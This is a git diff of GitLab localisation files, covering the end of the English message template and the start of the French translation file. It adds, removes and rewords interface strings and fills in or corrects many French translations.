+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/fr/gitlab.po b/locale/fr/gitlab.po
index f49c48bcf0e..c2ef759535c 100644
--- a/locale/fr/gitlab.po
+++ b/locale/fr/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: fr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-11 07:24\n"
+"PO-Revision-Date: 2023-01-10 06:43\n"
msgid " %{start} to %{end}"
msgstr " %{start} à %{end}"
@@ -509,7 +509,7 @@ msgstr[0] "%{bold_start}%{count}%{bold_end} demande de fusion ouverte"
msgstr[1] "%{bold_start}%{count}%{bold_end} demandes de fusion ouvertes"
msgid "%{chartTitle} no data series"
-msgstr ""
+msgstr "%{chartTitle} aucune série de données"
msgid "%{codeStart}$%{codeEnd} will be treated as the start of a reference to another variable."
msgstr "%{codeStart}$%{codeEnd} sera traité comme le début d'une référence à une autre variable."
@@ -739,7 +739,7 @@ msgid "%{issuable}(s) already assigned"
msgstr "%{issuable}(s) déjà assigné(s)"
msgid "%{issueType} actions"
-msgstr "%{issueType} actions"
+msgstr "Actions de %{issueType}"
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr "%{issuesSize} avec une limite de %{maxIssueCount}"
@@ -750,6 +750,9 @@ msgstr "Les %{italic_start}Nouveautés%{italic_end} ne sont pas actives et ne pe
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr "%{itemsCount} tickets avec une limite de %{maxIssueCount}"
+msgid "%{key} is not a valid URL."
+msgstr "%{key} n'est pas une URL valide."
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr "%{labelStart}Réponse effective :%{labelEnd} %{headers}"
@@ -822,8 +825,11 @@ msgstr "%{level_name} n'est pas autorisé dans un groupe %{group_level_name}."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} n'est pas autorisé car le projet divergent a une visibilité inférieure."
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr "%{linkStart} En savoir plus%{linkEnd}."
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
-msgstr "%{link_start}Supprimez le %{draft_snippet} préfixe%{link_end} du titre pour permettre la fusion lorsque cette demande de fusion sera prête."
+msgstr "%{link_start}Supprimez le préfixe %{draft_snippet}%{link_end} du titre pour permettre la fusion lorsque cette demande de fusion sera prête."
msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr "%{link_start}Débutez le titre avec %{draft_snippet}%{link_end} pour empêcher un brouillon de demande de fusion d'être fusionné avant qu'il ne soit prêt."
@@ -953,6 +959,12 @@ msgstr "%{project_path} est un projet que vous pouvez utiliser pour ajouter un R
msgid "%{ref} cannot be added: %{error}"
msgstr "%{ref} ne peut être ajouté : %{error}"
+msgid "%{relation_type} epic does not exist."
+msgstr "L'épopée %{relation_type} n'existe pas."
+
+msgid "%{relation_type} epic is not present."
+msgstr "L'épopée %{relation_type} n'est pas présente."
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] "%{releases} version"
@@ -970,6 +982,11 @@ msgstr "%{reportType} a détecté %{totalStart}%{total}%{totalEnd} %{vulnMessage
msgid "%{reportType} detected no new vulnerabilities."
msgstr "%{reportType} n'a détecté aucune nouvelle vulnérabilité."
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr "%{retryButtonStart}Réessayez%{retryButtonEnd} ou %{newFileButtonStart}joignez un nouveau fichier%{newFileButtonEnd}."
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] "%{selectedProjectsCount} projet"
msgstr[1] "%{selectedProjectsCount} projets"
-msgid "%{size} %{unit}"
-msgstr "%{size} %{unit}"
-
msgid "%{size} GiB"
msgstr "%{size} Gio"
@@ -1027,7 +1041,7 @@ msgid "%{sourceBranch} into %{targetBranch}"
msgstr "%{sourceBranch} dans %{targetBranch}"
msgid "%{source} %{copyButton} into %{target}"
-msgstr ""
+msgstr "%{source} %{copyButton} dans %{target}"
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr "%{spammable_titlecase} a été soumis à Akismet avec succès."
@@ -1050,7 +1064,7 @@ msgstr[0] "%{strongStart}%{count}%{strongEnd} commit"
msgstr[1] "%{strongStart}%{count}%{strongEnd} commits"
msgid "%{strongStart}Tip:%{strongEnd} You can also check out merge requests locally. %{linkStart}Learn more.%{linkEnd}"
-msgstr ""
+msgstr "%{strongStart}Astuce :%{strongEnd} Vous pouvez également extraire les demandes de fusion localement. %{linkStart}En savoir plus.%{linkEnd}"
msgid "%{strong_open}%{group_name}%{strong_close} projects:"
msgstr "Projets de %{strong_open}%{group_name}%{strong_close} :"
@@ -1116,11 +1130,6 @@ msgstr "%{template_project_id} est inconnu ou invalide"
msgid "%{text} is available"
msgstr "%{text} est disponible"
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr "%{timebox_type} ne prend pas en charge les graphiques d'évolution"
@@ -1131,7 +1140,7 @@ msgid "%{time} UTC"
msgstr "%{time} UTC"
msgid "%{title} %{operator} %{threshold}"
-msgstr ""
+msgstr "%{title} %{operator} %{threshold}"
msgid "%{title} changes"
msgstr "Changements %{title}"
@@ -1155,10 +1164,10 @@ msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr "%{total} avertissements trouvés : affichage des %{warningsDisplayed} premiers"
msgid "%{type} must be a %{help_link}"
-msgstr ""
+msgstr "%{type} doit être un(e) %{help_link}"
msgid "%{type} only supports %{name} name"
-msgstr ""
+msgstr "%{type} ne prend en charge que le nom %{name}"
msgid "%{url} (optional)"
msgstr "%{url} (facultatif)"
@@ -1541,9 +1550,9 @@ msgstr[0] "Un rôle"
msgstr[1] "%d rôles"
msgid "1 user"
-msgid_plural "%{num} users"
-msgstr[0] "Un utilisateur"
-msgstr[1] "%{num} utilisateurs"
+msgid_plural "%d users"
+msgstr[0] "1 utilisateur"
+msgstr[1] "%d utilisateurs"
msgid "1 week remaining"
msgid_plural "%d weeks remaining"
@@ -1574,7 +1583,7 @@ msgid "20-29 contributions"
msgstr "20-29 contributions"
msgid "2FA"
-msgstr "Authentification à deux facteurs"
+msgstr "A2F"
msgid "2FADevice|Registered On"
msgstr "Enregistré sur"
@@ -1616,7 +1625,7 @@ msgid "8 hours"
msgstr "8 heures"
msgid ":%{startLine} to %{endLine}"
-msgstr ""
+msgstr ": de %{startLine} à %{endLine}"
msgid "A %{incident_docs_start}modified issue%{incident_docs_end} to guide the resolution of incidents."
msgstr "Un %{incident_docs_start}ticket modifié%{incident_docs_end} pour guider la résolution des incidents."
@@ -1694,7 +1703,7 @@ msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a p
msgstr "Une limite de %{ci_project_subscriptions_limit} abonnements depuis ou vers un projet est appliquée."
msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
-msgstr ""
+msgstr "Un contrôle de gestion, opérationnel ou technique (autrement dit un garde-fou ou une contre-mesure), mis en place par une organisation fournissant une protection de système d'information équivalente ou comparable."
msgid "A member of the abuse team will review your report as soon as possible."
msgstr "Un membre de l’équipe de prévention des abus examinera votre rapport dès que possible."
@@ -1768,6 +1777,9 @@ msgstr "Un rebase est déjà en cours."
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr "Une connexion à votre compte a été faite à partir de l'adresse IP suivante : %{ip}"
+msgid "A template for starting a new TYPO3 project"
+msgstr "Un modèle pour démarrer un nouveau projet TYPO3"
+
msgid "A title is required"
msgstr "Un titre est requis"
@@ -1787,7 +1799,7 @@ msgid "API Fuzzing Configuration"
msgstr "Configuration de l'API Fuzzing"
msgid "API Help"
-msgstr ""
+msgstr "Aide sur l’API"
msgid "API Token"
msgstr "Jeton d'API"
@@ -1901,7 +1913,7 @@ msgid "AWS Access Key"
msgstr "Clé d'Accès AWS"
msgid "AWS OpenSearch IAM credentials"
-msgstr ""
+msgstr "Identifiants IAM d'AWS OpenSearch"
msgid "AWS Secret Access Key"
msgstr "Clé d'Accès Secrète AWS"
@@ -1912,9 +1924,6 @@ msgstr "ID de la clé d'accès AWS (facultatif)"
msgid "AWS secret access key (Optional)"
msgstr "Clé d'accès secrète AWS (Facultatif)"
-msgid "AWS service error: %{error}"
-msgstr "Erreur de service AWS : %{error}"
-
msgid "Abort"
msgstr "Annuler"
@@ -1963,9 +1972,6 @@ msgstr "Jetons d’accès"
msgid "Access denied for your LDAP account."
msgstr "Accès refusé pour votre compte LDAP."
-msgid "Access denied: %{error}"
-msgstr "Accès refusé : %{error}"
-
msgid "Access expires"
msgstr "L'accès expire"
@@ -2090,7 +2096,7 @@ msgid "Account: %{account}"
msgstr "Compte : %{account}"
msgid "AccountValidation|Fix your pipelines by validating your account"
-msgstr ""
+msgstr "Bénéficiez de vos pipelines grâce à la validation de votre compte"
msgid "AccountValidation|I'll bring my own runners"
msgstr "J'apporterai mes propres exécuteurs"
@@ -2125,8 +2131,8 @@ msgstr "Actions"
msgid "Activate Service Desk"
msgstr "Activer le Service d'Assistance"
-msgid "Activated on"
-msgstr ""
+msgid "Activated"
+msgstr "Activé"
msgid "Active"
msgstr "Actif"
@@ -2203,6 +2209,9 @@ msgstr "Ajouter une liste de contrôle"
msgid "Add a collapsible section"
msgstr "Ajouter une section rétractable"
+msgid "Add a comment"
+msgstr "Ajouter un commentaire"
+
msgid "Add a comment to this line"
msgstr "Ajouter un commentaire à cette ligne"
@@ -2279,7 +2288,7 @@ msgid "Add comment now"
msgstr "Ajouter un commentaire"
msgid "Add comment to design"
-msgstr "Ajouter un commentaire au design"
+msgstr "Ajouter un commentaire à l'esquisse"
msgid "Add comment to incident timeline"
msgstr "Ajouter un commentaire à la chronologie des incidents"
@@ -2354,7 +2363,7 @@ msgid "Add or remove a user."
msgstr "Ajouter ou supprimer un utilisateur."
msgid "Add or remove previously merged commits"
-msgstr ""
+msgstr "Ajouter ou supprimer les commits précédemment fusionnés"
msgid "Add or subtract spent time"
msgstr "Ajouter ou soustraire du temps passé"
@@ -2363,7 +2372,7 @@ msgid "Add people"
msgstr "Ajouter des personnes"
msgid "Add previously merged commits"
-msgstr ""
+msgstr "Ajouter les commits précédemment fusionnés"
msgid "Add project"
msgstr "Ajouter un projet"
@@ -2405,7 +2414,7 @@ msgid "Add to review"
msgstr "Ajouter à la revue de code"
msgid "Add to tree"
-msgstr ""
+msgstr "Ajouter à l'arborescence"
msgid "Add topics to projects to help users find them."
msgstr "Ajouter des sujets aux projets pour aider les utilisateurs à les trouver."
@@ -2435,7 +2444,7 @@ msgid "AddContextCommits|Add/remove"
msgstr "Ajouter/supprimer"
msgid "AddMember|Invite email is invalid"
-msgstr ""
+msgstr "L'adresse de courriel d'invitation n'est pas valide"
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr "Limite de %{daily_invites} invitation(s) par jour dépassée"
@@ -2462,13 +2471,13 @@ msgid "Added %{label_references} %{label_text}."
msgstr "%{label_references} %{label_text} ajouté."
msgid "Added a to do."
-msgstr ""
+msgstr "A ajouté un pense-bête."
msgid "Added an issue to an epic."
msgstr "A ajouté un ticket à une épopée."
msgid "Added for this merge request"
-msgstr ""
+msgstr "Ajoutée pour cette demande de fusion"
msgid "Added in this version"
msgstr "Ajoutée dans cette version"
@@ -2581,15 +2590,18 @@ msgstr "Utilisateurs actifs"
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr "Tous les utilisateurs créés sur cette instance, y compris ceux qui ne sont pas des %{billable_users_link_start}utilisateurs facturables%{billable_users_link_end}."
-msgid "AdminArea|Billable users"
-msgstr "Utilisateurs facturables"
-
msgid "AdminArea|Blocked users"
msgstr "Utilisateurs bloqués"
msgid "AdminArea|Bots"
msgstr "Bots"
+msgid "AdminArea|Breakdown of Billable users"
+msgstr "Détail des utilisateurs facturables"
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr "Détail des utilisateurs non-facturables"
+
msgid "AdminArea|Components"
msgstr "Composants"
@@ -2609,7 +2621,7 @@ msgid "AdminArea|Guest"
msgstr "Invité"
msgid "AdminArea|Included Free in license"
-msgstr ""
+msgstr "Inclus Gratuitement dans la licence"
msgid "AdminArea|Instance OAuth applications"
msgstr "Applications OAuth de l'instance"
@@ -2671,11 +2683,20 @@ msgstr "Arrêter les tâches"
msgid "AdminArea|Stopping jobs failed"
msgstr "L’arrêt des tâches a échoué"
+msgid "AdminArea|Total Billable users"
+msgstr "Total des utilisateurs facturables"
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr "Total des utilisateurs non-facturables"
+
msgid "AdminArea|Total users"
msgstr "Nombre total d'utilisateurs"
+msgid "AdminArea|Totals"
+msgstr "Totaux"
+
msgid "AdminArea|Updated %{last_update_time}"
-msgstr ""
+msgstr "Mise à jour %{last_update_time}"
msgid "AdminArea|Users"
msgstr "Utilisateurs"
@@ -2701,6 +2722,12 @@ msgstr "Voir les derniers utilisateurs"
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr "Vous êtes sur le point d'arrêter toutes les tâches. Toutes les tâches actuelles qui sont en cours d'exécution seront interrompues."
+msgid "AdminArea|active users + blocked users"
+msgstr "utilisateurs actifs + utilisateurs bloqués"
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr "total facturables + total non-facturables"
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "Erreur lors du chargement des statistiques. Veuillez réessayer"
@@ -2755,6 +2782,9 @@ msgstr "Tous les nouveaux projets peuvent utiliser les exécuteurs partagés de
msgid "AdminSettings|Auto DevOps domain"
msgstr "Domaine de DevOps automatique"
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr "Par défaut, définissez une limite à 0 pour n'avoir aucune limite."
+
msgid "AdminSettings|CI/CD limits"
msgstr "Limites CI/CD"
@@ -2824,6 +2854,9 @@ msgstr "Activer l'analyseur personnalisé kuromoji : Indexation"
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr "Activer l'analyseur personnalisé kuromoji : Recherche"
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr "Activer la migration des groupes et des projets GitLab par transfert direct"
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr "Activer la bannière de suggestion de pipeline"
@@ -2911,6 +2944,9 @@ msgstr "Nombre maximum de pipelines actifs par projet"
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr "Nombre maximum de domaines personnalisés par projet"
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr "Nombre maximum de pipelines en aval dans l'arborescence hiérarchique d'un pipeline"
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr "Nombre maximum de tâches dans un pipeline unique"
@@ -2998,9 +3034,6 @@ msgstr "Durée de session pour les opérations Git lorsque l'A2F est activée (m
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
